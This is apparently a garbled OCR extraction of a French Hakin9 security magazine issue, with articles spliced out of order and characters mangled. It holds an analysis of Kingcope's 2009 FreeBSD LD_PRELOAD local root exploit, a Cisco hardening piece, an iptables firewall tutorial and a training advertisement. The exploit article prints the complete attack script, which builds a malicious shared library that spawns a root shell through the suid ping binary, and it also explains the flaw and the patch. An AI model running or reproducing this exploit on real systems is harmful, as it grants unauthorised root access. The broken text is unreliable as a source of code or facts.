Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 15: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201018

Pratique

fort type MD5 et non des mots de passe de type 7 fa-cilement deacutechiffrables

Il est eacutegalement important de configurer un timeout de connexion entre 5 et 10 minutes (cf Listing 8)

Journalisation et sauvegarde des actions la journa-lisation des eacuteveacutenements ainsi que la sauvegarde des fichiers de configuration deacutependent de la politique inter-ne de lentreprise elle-mecircme deacutependant de sa capaciteacute agrave stocker et agrave inspecter les logs geacuteneacutereacutes (cf Listing 9)

Une configuration seacutecuriseacutee commence par la deacutefini-tion dune interface source des log (souvent linterface loopback0) lactivation des timestamps (facilite la lec-ture des logs) et la deacutefinition dun niveau des logs agrave en-voyer (en fonction de la capaciteacute de stockage agrave pros-crire le niveau 7)

Il est preacuteconiseacute de deacutesactiver les logs console et logs monitor susceptibles de consommer eacutenormeacutement de ressources causant un deacuteni de service

Filtrage daccegraves aux services de controcircle il existe deux meacutethodes de gestion dune plate-forme (routeur commu-tateur serveur hellip) Inbound le flux de transport et le flux de controcircle sont sur les mecircmes interfaces ou Outbound seacuteparation des flux de controcircle et des flux de transport

Le modegravele outbound est plus seacutecuriseacute son applica-tion se traduit par linstallation de serveurs de rebond souvent accessible agrave travers un VPN Des access-list sont creacuteeacutes sur le routeur nautorisant laccegraves quagrave partir de la machine de rebond Il est eacutegalement possible de deacutefinir une interface deacutedieacutee aux protocoles de gestion permettant ainsi une seacutecuriteacute optimale

LIOS Cisco permet eacutegalement dappliquer des ac-cess-list sur les accegraves SNMP en lecture seule et en lec-ture eacutecriture nautorisant que les machines de confian-ce censeacutees acceacuteder en SNMP agrave la plate-forme (cf Listing 10)

Durcissement du Control PlaneDurcir le control plane commence par le durcissement des protocoles de routages Ce sujet est neacuteanmoins

tregraves large et tregraves complexe plusieurs meacutecanismes de seacutecuriteacute existent selon le protocole utiliseacute et son fonc-tionnement la seacutecurisation de IS-IS est diffeacuterente de la seacutecurisation dOSPF par exemple

Il est cependant important dutiliser des secrets parta-geacutes de filtrer les annonces reccedilues en bloquant les an-nonces des blocs IP internes

Les environnements commuteacutes doivent obligatoi-rement ecirctre durcis contre les attaques MITM comme lempoisonnement ARP ces attaques souvent faciles agrave mener ont un effet deacutevastateur

Lutilisation du DHCP snooping du DAI (Dynamic ARP Inspection) et du Port security permet de pallier ce risque

Proteacuteger les ressources CPU des plates-formes en assurant le traitement des flux critiques (routage et ma-nagement) est possible gracircce au CoPP ce meacutecanisme est parfois long agrave impleacutementer

Il faut configurer des ACL pour deacutefinir les cateacutegories de flux en fonction de leur importance (routage mana-gement indeacutesirable normal et autre)

Configurer des Class-map pour chaque cateacutegorie et finalement configurer des Policy-map avec les valeurs autoriseacutes est le comportement adeacutequat pour chaque ty-pe de flux

Le CoPP nagit que sur les flux traiteacutes par le CPU et ninfluence aucunement les flux de transport

Durcissement du Data PlaneLa grande majoriteacute des attaques utilisent le spoofing dadresses IP pour diverses raisons Cisco propose un meacutecanisme dantispoofing (uRPF) utilisant la table de routage Ce meacutecanisme protegravege contre le spoofing des adresses IP internes

uRPF existe en plusieurs modes (strict loose vrf hellip) selon la symeacutetrie du routage et lutilisation de routeurs virtuels

Outre le blocage du spoofing dadresses IP avec luR-PF il est preacuteconiseacute de bloquer

table 2 RFC 3330

Scope Description

00008 laquoCeraquo reacuteseau

10008 Reacuteseau priveacute RFC 1918

127000 Loopback

1692540016 Lien local

172160012 Reacuteseau priveacute RFC 1918

19202024 Reacuteseau de test

1928899024 Relais anycast IPv6 agrave IPv4

1921680016 Reacuteseau priveacute RFC 1918

198180015 Test deacutevaluation de plates-formes

2240004 Multicast

hakin9orgfr 19

bull Bloques IP du RFC3330bull Messages ICMPbull Paquets fragmenteacutes

ConclusionLa seacutecuriteacute des plates-formes Cisco est un sujet vaste et passionnant il permet de sinteacuteresser agrave la fois agrave la seacute-curiteacute reacuteseau et systegraveme Les vecteurs dattaques sont nombreux et un simple article ne peut preacutetendre agrave les couvrir tous

Seacutecuriser ces plates-formes oblige donc agrave sinteacuteres-ser au fonctionnement des protocoles utiliseacutes et de lar-chitecture Hardware et Software du systegraveme

La compromission drsquoune telle plate-forme peut ecirctre fatale les nouveaux IOS proposent de nouvelles fonc-tionnaliteacutes permettant par exemple denregistrer le tra-fic sur une interface ou un VLAN et ainsi extraire les mots de passes et les informations circulant en clair dougrave limportance de sinteacuteresser agrave leur seacutecuriteacute

Agrave PrOPOS De LauteurLauteur est eacutetudiant en troisiegraveme anneacutee agrave Telecom SudParis (ex Telecom INT) il e ectue actuellement un stage dune an-neacutee agrave Bouygues Telecom en seacutecuriteacute reacuteseau Vous pouvez le contacter agrave ladresse mail suivante alaeddinemesbahigmailcom

Sur internetbull wwwhackersforcharityorgghdb ndash Liste de requecirctes go-

oglehacksbull wwwphenoelit-usorgdpldplhtml ndash Liste de mots de pas-

se par deacutefautbull wwwsecurityvulnerabilitynet ndash Excellent moteur de re-

cherche de vulneacuterabiliteacutes (BD de vulneacuterabiliteacutes CVE)

terminologiebull AS (Autonomous System) un ensemble de reacuteseaux IP so-

us le controcircle dune seule et mecircme entiteacute typiquement un fournisseur daccegraves agrave Internet ou une plus grande or-ganisation qui possegravede des connexions redondantes avec le reste du reacuteseau Internet Wikipeacutedia

bull Looking glass serveurs accessibles agrave partir dinternet po-ur visionner des informations sur le routage et des statisti-ques sur le trafi c

bull AAA correspond agrave un protocole qui reacutealise trois fonctions lauthentifi cation lautorisation et la traccedilabiliteacute (en An-glaisAuthentication Authorization AccountingAuditing) Wikipeacutedia

19

6201020

Seacutecuriteacute reacuteSeaux

Dans le noyau 22 avec ipchains le code du pare-feu eacutetait eacuteparpilleacute au travers de la couche applica-tive reacuteseau ce qui ne facilitait pas la maintenance

Depuis les noyaux 24 la solution de filtrage Netfilter est inteacutegreacutee au noyau des distributions ce qui permet de meilleures performances et une grande faciliteacute dutilisation

Cette solution permet une analyse au niveau TCPIP et la gestion dIPV4 IPV6 IPX ARP (et bien dautre) deffectuer du filtrage la translation dadresse (NAT) ain-si que lalteacuteration de paquet (MANGLE) Par Netfilter on deacutesigne lensemble des fonctions internes du noyau qui reacutealisent les opeacuterations de filtragefirewall Iptables sert dinterface de configuration il fonctionne en mode utili-sateur Larriveacutee du mode StateFull a apporteacute un grand confort dutilisation plus de filtrage brut on met en place un systegraveme de filtrage intelligent

Fonctionnement de NetfilterLe but dun pare-feu est de bloquer filtrer router mo-difier des paquets reacuteseaux Les regravegles de configuration de Netfilter (iptables) ont eacuteteacute creacuteeacutees pour ecirctre simple dutilisation mecircme si lon verra que lon peut tregraves bien creacuteer des regravegles tregraves longues et tregraves compliqueacutees Pour ce faire des points dencrages (hook) ont eacuteteacute mis en pla-ce leur rocircle est de permettre une gestion des paquets agrave chacun des points dexploitation (voir Figure 1)

bull NF _ IP _ PRE _ ROUTING paquets entrants sur linterfa-ce

bull NF _ IP _ LOCAL _ IN paquets destineacutes agrave la machine locale

bull NF _ IP _ FORWARD paquets agrave routerbull NF _ IP _ LOCAL _ OUT paquets eacutemis depuis la machine

localebull NF _ IP _ POST _ ROUTING paquets sortants de linterface

Chacun de ces points dencrages correspond agrave une chaine que nous allons exploiter dans la conception de regravegles qui vont deacutefinir quel paquet est accepteacute ou reje-teacute (voir Figure 2)

bull NF _ IP _ PRE _ ROUTING PREROUTINGbull NF _ IP _ LOCAL _ IN INPUTbull NF _ IP _ FORWARD FORWARDbull NF _ IP _ LOCAL _ OUT OUTPUTbull NF _ IP _ POST _ ROUTING POSTROUTING

Le traitement des paquets est effectueacute de maniegravere seacute-quentielle cest agrave dire dans lordre dans lesquelles les regravegles ont eacuteteacute appliqueacutees (dougrave limportance de bien tout faire dans lordre) Le paquet sera traiteacute de la ma-niegravere suivante par le noyau

bull Reconnaissance de la Table (on traite le paquet en fonction des regravegles de la table) FILTER NAT MANGLE

bull Reconnaissance pour aiguillage (type de paquet INPUT OUTPUT)

Firewall sous linux

Maintenant que la plupart des machines sont relieacutees entre elles dans le monde via Internet les probleacutematiques de seacutecuriteacute se font grandissantes Apregraves limpact des PC-Zombies ou les intrusions via des vers telles que my-tob ou saccer la question du pare-feu ne se pose plus Nous allons voir ensemble le fonctionnement diptables sous Linux en commenccedilant par les bonnes pratiques pour finir sur la seacutecurisation dune machine connecteacutee agrave Internet

cet article expliquebull Le fonctionnement des pare-feubull Les bonnes pratiques pour la mise en place dun pare-feubull Comment configurer Netfilterbull Les fonctions de routagebull Le filtrage avec IPV6

ce quil faut savoirbull Des connaissances en administration Linuxbull Le fonctionnement des reacuteseaux et protocoles (Ethernet TCP

IP UDPIP)

Nicolas Hanteville

Firewall

hakin9orgfr 21

bull Je veux pouvoir naviguer sur les sites web normaux et seacutecuriseacutes (HTTP HTTPS)

bull Je veux pouvoir teacuteleacutecharger et envoyer des mails (SMTP POP3 IMAP)

bull Je veux pouvoir acceacuteder au transfert de fichier (FTP)

Dans le cas preacutesent si je ne prends en compte que ces demandes je vais avoir des problegravemes Ici je ne traite pas la reacutesolution adressenom il va donc falloir ajou-ter aussi lautorisation du protocole DNS Pour faire des tests reacuteseau et veacuterifier que mon routeur fonctionne bien jaurais surement besoin dICMP Si je veux tes-ter ma machine localement jaurais surement besoin dautoriser le LOOPBACK Si dans mon reacuteseau je veux administrer ma machine agrave distance via SSH il faudra aussi le prendre en compte

tableau des fluxNous allons maintenant nous attaquer agrave la premiegravere des phases de mise en place du pare-feu agrave savoir le tableau des flux Le but est de mettre en place un tableau qui repreacutesente la totaliteacute des flux que nous voulons autori-ser Dans le futur en cas deacutevolution de notre filtrage ou danalyse plus pousseacutee le travail sera simplifieacute si nous avons un tableau il permet de comprendre plus rapide-ment la politique que lon a voulu mettre en place

Pour reacutediger une regravegle nous avons besoin de plu-sieurs paramegravetres

bull Si le flux est en entreacutee (INPUT) ou en sortie (OUT-PUT)

bull Leacutetat de la connexion (nouvelle connexion suivie de connexion)

bull Le type de protocole (ICMP TCP UDP)bull Ladressage source (dougrave provient le flux)

bull Test de la validiteacute du paquet par rapport agrave la pre-miegravere regravegle si le paquet correspond agrave une autori-sation il passe (chaine ACCEPT) sil correspond agrave une interdiction il est supprimeacute (chaine DROP) si-non il passe agrave la regravegle suivante

bull Le paquet agrave traverseacute toutes les regravegles car aucune ne lui correspondait le paquet est donc traiteacute par la politique par deacutefaut (ACCEPT ou DROP)

Afin dexploiter les possibiliteacutes de Netfilter il faut creacuteer des regravegles Ces regravegles sont composeacutees de la table pour laquelle le paquet sera traiteacute de chaines qui deacute-finissent le point de traitement (INPUT OUTPUT) le protocole les ports les adresses (hellip) ainsi que le reacute-sultat de lapplication de la regravegle (ACCEPT ou DROP)

Les bonnes pratiquesAvant de commencer la reacutedaction de regravegles il est impor-tant de ne pas tomber dans la creacuteduliteacute et dire jai un pare-feu je suis proteacutegeacute

Un pare-feu cest comme avec un parapluie sil est casseacute quil y a trop de vent ou que je ne louvre pas il ne protegravege pas de la pluie

Au lieu donc de faire nimporte quoi et de partir dans des eacutelucubrations qui donneront des regravegles incoheacuteren-tes qui laisseront passer ce qui doit ecirctre filtreacute et qui filtre-ra ce qui doit passer il faut faire une liste des besoins

Dans cet article nous allons partir sur un cas tregraves sim-ple jai une machine en frontale sur internet avec une seule carte reacuteseau je veux limiter au maximum les pos-sibiliteacutes dy acceacuteder tout en me permettant de lexploiter Bien sucircr quelques modifications simples permettront dadapter ce cas au votre (sans entrer dans des archi-tectures trop complexes voir Figure 3)

Tout dabord nous allons eacutenoncer nos besoins primai-res

Figure 2 Chaines

Figure 1 Points dencrage

6201022

Seacutecuriteacute reacuteSeaux

bull Le port sourcebull Ladressage de destination (ougrave va le flux)bull Le port destination

Pour lexemple ladresse IP de la machine sera 19216802 Consultez la Table 1 table des flux cor-respondant aux besoins de notre exemple

Ici je mautorise agrave faire un PING sur toutes les machi-nes du monde mais pas agrave reacutepondre agrave un PING prove-nant dune autre machine De mecircme je nai pas repreacute-senteacute le LOOPBACK

Lorsque lon voit ce tableau et que lon a jamais fait de regravegles iptables une question se pose tout de suite quest ce que NEW ESTABLISHED ou bien RELATED veulent dire Et bien cest assez simple NEW correspond agrave la creacuteation dune nouvelle connexion ESTABLISHED signi-fie que la connexion est deacutejagrave eacutetablie et que cest la suite

et RELATED signifie que cest une nouvelle connexion en relation avec une autre connexion Lutilisation des eacutetats permet une utilisation beaucoup plus simple en effet le pare-feu est maintenant intelligent de plus certaines fonc-tionnaliteacutes sont geacutereacutees par des modules compleacutementaires (nous verrons cela dans la partie deacutedieacutee au FTP)

Pour deacuteterminer si un paquet est la reacuteponse dun autre paquet le noyau enregistre les sessions pour les visua-liser on peut utiliser loutil conntrack pour visionner son contenu conntrack -E ou more procnetip_conntrack

Format des regravegles avec iptablesVoici comment se compose une regravegle

bull iptables (Appel de la commande)bull iptables table (si aucune nest preacuteciseacutee cest la table

FILTER) exemple (ici -t FILTER) iptables -t FILTER -P INPUT DROP

bull iptables chaicircne (chaicircne de la commande) exemple (ici -P INPUT) iptables -P INPUT -j DROP

bull iptables chaicircne motifs de reconnaissance exemple (ici -s 19216801) iptables -A INPUT -s 19216801 -j DROP

bull iptables chaicircne motifs de reconnaissance cibles exem-ple (ici -j DROP) iptables -A INPUT -s 19216801 -j DROP

La table FiLterContient les regravegles de filtrage pour les paquets entrants et sortants localement sur la machine cest la table par deacutefaut si non speacutecifieacutee Elle permet lutilisation des chaicirc-nes suivantes INPUT OUTPUT FORWARD

La table NatElle gegravere la transaction dadresse et de port elle per-met de transformer notre pare-feu en routeur Elle per-met lutilisation des chaicircnes suivantes PREROUTING POSTROUTING OUTPUT Cette table nest pas utili-seacutee dans le cadre de lIPV6

La table MaNGLeCette table est tregraves utile pour effectuer du controcircle de flux (deacutebit reacuteseau et prioriteacute) ainsi que du marquage de paquets Elle permet lutilisation des chaicircnes suivantes PREROUTING INPUT FORWARD OUTPUT POS-TROUTING

La table raWRAW sert agrave placer des marques sur les paquets qui ne doivent pas ecirctre veacuterifieacutes par le systegraveme de traccedilage de connexion (utilisation de la cible NOTRACK sur le paquet) Elle permet lutilisation des chaicircnes suivantes PREROUTING OUTPUT

Fichiers et commandes importantesAfficher la liste des regravegles de filtrage en numeacuterotant les lignes et en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port Figure 4 Sceacutenario 2

Figure 3 Sceacutenario 1

formations

Rentreacutee 2010 les incontournables

formaformaformationstionstionstionstionstionsamp Certification professionnelle

Renseignements amp Inscriptions bull Teacutel 0821 20 25 00 (prix drsquoun appel local)

bull infoglobalknowledgefr

Teacuteleacutechargez le catalogue complet sur

wwwglobalknowledgefr

Global Knowledge France - Siegravege social - Tour Albert 1er - 65 avenue de Colmar - 92507 Rueil-Malmaison cedex - Teacutel 01 78 15 34 00 - Fax 01 78 15 33 90 copy 2010 Global Knowledge Training LLC

Gestion de projet PMI Prince 2bull Introduction au management de projetsbull La gestion des projets informatiques (IT)bull PMP Bootcamp Preacuteparation agrave la certificationbull Prince 2 Foundation

Gouvernance amp Management Informatiquebull La gouvernance et performance des Systegravemes drsquoinformationbull Les tableaux de bord de la performance informatiquebull Rentabiliteacute et valeur ajouteacutee des investissements informatiquesbull Cobit Foundation et la gouvernance des SIbull ITIL v3 Foundationbull Le cas Wall Street simulation sur ITIL v3 et ISO 20000 bull ISOIEC 20000 Foundationbull ISOIEC 27002 Foundationbull Maicirctriser et accompagner les changementsbull Deacutevelopper le leadership et les qualiteacutes de pilotage des managersbull Devenez manager coach de votre eacutequipe

Formations eacuteligibles au DIF | Support de cours remis agrave chaque participant

Les Essentiels Reacuteseaux Virtualisation Voix Seacutecuriteacute

bull Les reacuteseaux architectures mise en oeuvre et perspectives bull Enjeux et solutions drsquoun environnement virtuel bull Voix sur IP les fondamentaux bull La VoIP seacutecuriseacutee bull Les fondamentaux de la seacutecuriteacute informatiquebull CISSP Preacuteparation agrave la Certification bull Hacking Defined Advanced se proteacuteger contre les agressions du SI

Reacuteseaux Ciscobull Interconnecting Cisco Network Devices Part 1 (ICND1)bull Implementing Cisco IP Routing (ROUTE) nouveaubull Implementing Cisco IP Switched Networks (SWITCH) nouveaubull Troubleshooting amp Maintaining Cisco IP Networks (TSHOOT) nouveaubull Configurer BGP sur des routeurs Cisco (BGP)bull Cisco IPV6 Concepts Design et Deacuteploiement (IPV6)bull Implementing Cisco MPLS (MPLS)bull Mettre en oeuvre une infrastructure Cisco MultiCast (ICMI) nouveaubull Mettre en oeuvre CiscoWorks LMS (CWLMS)bull Mettre en oeuvre la seacutecuriteacute des reacuteseaux IOS Cisco (IINS)bull Seacutecuriser les reacuteseaux avec des routeurs et switches Cisco (SNRS)bull Les fondamentaux de la seacutecuriteacute des reacuteseaux avec Cisco ASA (SNAF)bull Cisco Wireless Lan Fundamentals (CWLF)bull Mettre en oeuvre Cisco IOS Unified Communications (IIUC)bull Cisco La Voix sur IP version 60 (CVOICEV6)bull Mettre en oeuvre la Qos Cisco (QOS)bull Cisco IP Telephony Part 1 version 6 (CIPT1V6)bull Data Center Network Infrastructure (DCNI-1)

Plus de 350 formations agreacuteeacutees par les eacutediteurs et constructeurs et 4000 sessions deacutelivreacutees par an font de Global Knowledge un organisme de formation reacutefeacuterent en informatique en management des Systegravemes drsquoInformation et gestion de projets IT

Virtualisation VMware Microsoft amp Citrix bull VMware Whatrsquos New vSphere 4 (mise agrave jour des connaissances) bull VMware vSphere 4 installation configuration et administration bull VMware View installation configuration et administration bull VMware vSphere 4 Troubleshooting nouveaubull VMware vSphere 4 Design nouveau

bull Mettre en oeuvre la virtualisation sous Windows 2008 (Hyper-V)bull Administrer les postes de travail avec MDOP bull Deacuteployer et administrer System Center Virtual Machine Managerbull Planifier deacuteployer et geacuterer System Center Configuration Manager bull Mettre en oeuvre et geacuterer System Center Operations Manager 2007

bull Mettre en oeuvre Citrix XenApp 5 pour Windows Server 2008bull Citrix Desktop Infrastructure geacuterer XenServer XenDesktop et Provisioning Serverbull Mettre en oeuvre une solution de virtualisation avec Citrix nouveau

ClientServeurMessagerie Microsoftbull Installation et configuration du client Windows 7 bull Planifier les deacuteploiements et administrer les environnements Windows 7bull Configuration et administration de SharePoint Server 2010 nouveaubull Deacutevelopper et personnaliser les applications pour Sharepoint 2010 nouveaubull Lrsquoessentiel de lrsquoadministration de serveurs Windows 2008bull Configurer et deacutepanner une infrastructure reacuteseau Windows 2008bull Active Directory pour Windows Server 2008bull Configuration administration et deacutepannage de Exchange Server 2010bull Concevoir et deacuteployer des solutions de messagerie avec Exchange 2010 nouveaubull Mise en œuvre et maintenance des outils de communications unifieacutees avec OCS R2

Global Knowledge a eacuteteacute eacutelu laquoMeilleur partenaire Formation de lrsquoanneacuteeraquo par Cisco VMware et Citrix

pub_Hackin9_ete2010indd 1 28062010 101155

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

Nous pouvons maintenant commencer agrave mettre en pla-ce nos regravegles je tiens agrave preacuteciser que chacune des regravegles que je vais impleacutementer sera indeacutependante des autres afin de garder une coheacuterence globale en cas de besoin de suppression certaines pratiques que je ne recomman-de pas sont dimpleacutementer sur les trois chaines principales (INPUT OUTPUT et FORWARD) un suivi de connexion globale afin de faciliter la creacuteation des regravegles (je nai plus agrave me soucier du retour je creacutee simplement la regravegle dinitia-tion de la connexion) Cette maniegravere de faire simpliste peut engendrer des trous beacuteants dans le pare-feu je vous re-commande donc deacuteviter ce genre de pratique

Nous allons maintenant autoriser le LOOPBACK (le reacuteseau local de la machine)

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

Autorisation du PING

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

ICMP -s 19216802 -j ACCEPT

Figure 5 Firewall Builder

Firewall

hakin9orgfr 25

iptables -A INPUT -m state --state ESTABLISHED -p ICMP

-d 19216802 -j ACCEPT

Vous noterez ici que je nai pas stipuleacute la destination en 0000 en effet cest la valeur par deacutefaut si elle est non preacuteciseacutee

Autoriser le DNS

iptables -A OUTPUT -m state --state NEWESTABLISHED -

p UDP -s 19216802 -d 19216801 --sport

1024 --dport 53 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p UDP -s

19216801 -d 19216802 --sport 53 --dport

1024 -j ACCEPT

Ici mon serveur DNS et routeur est en IP 19216801 La commande --dport 1024 signifie que le port de des-tination est un port supeacuterieur agrave 1024

Autoriser le HTTP et HTTPS

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 80 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 80 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 443

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 443 --dport 1024 -j

ACCEPT

Autoriser le SMTP POP3 et IMAP

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 25 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

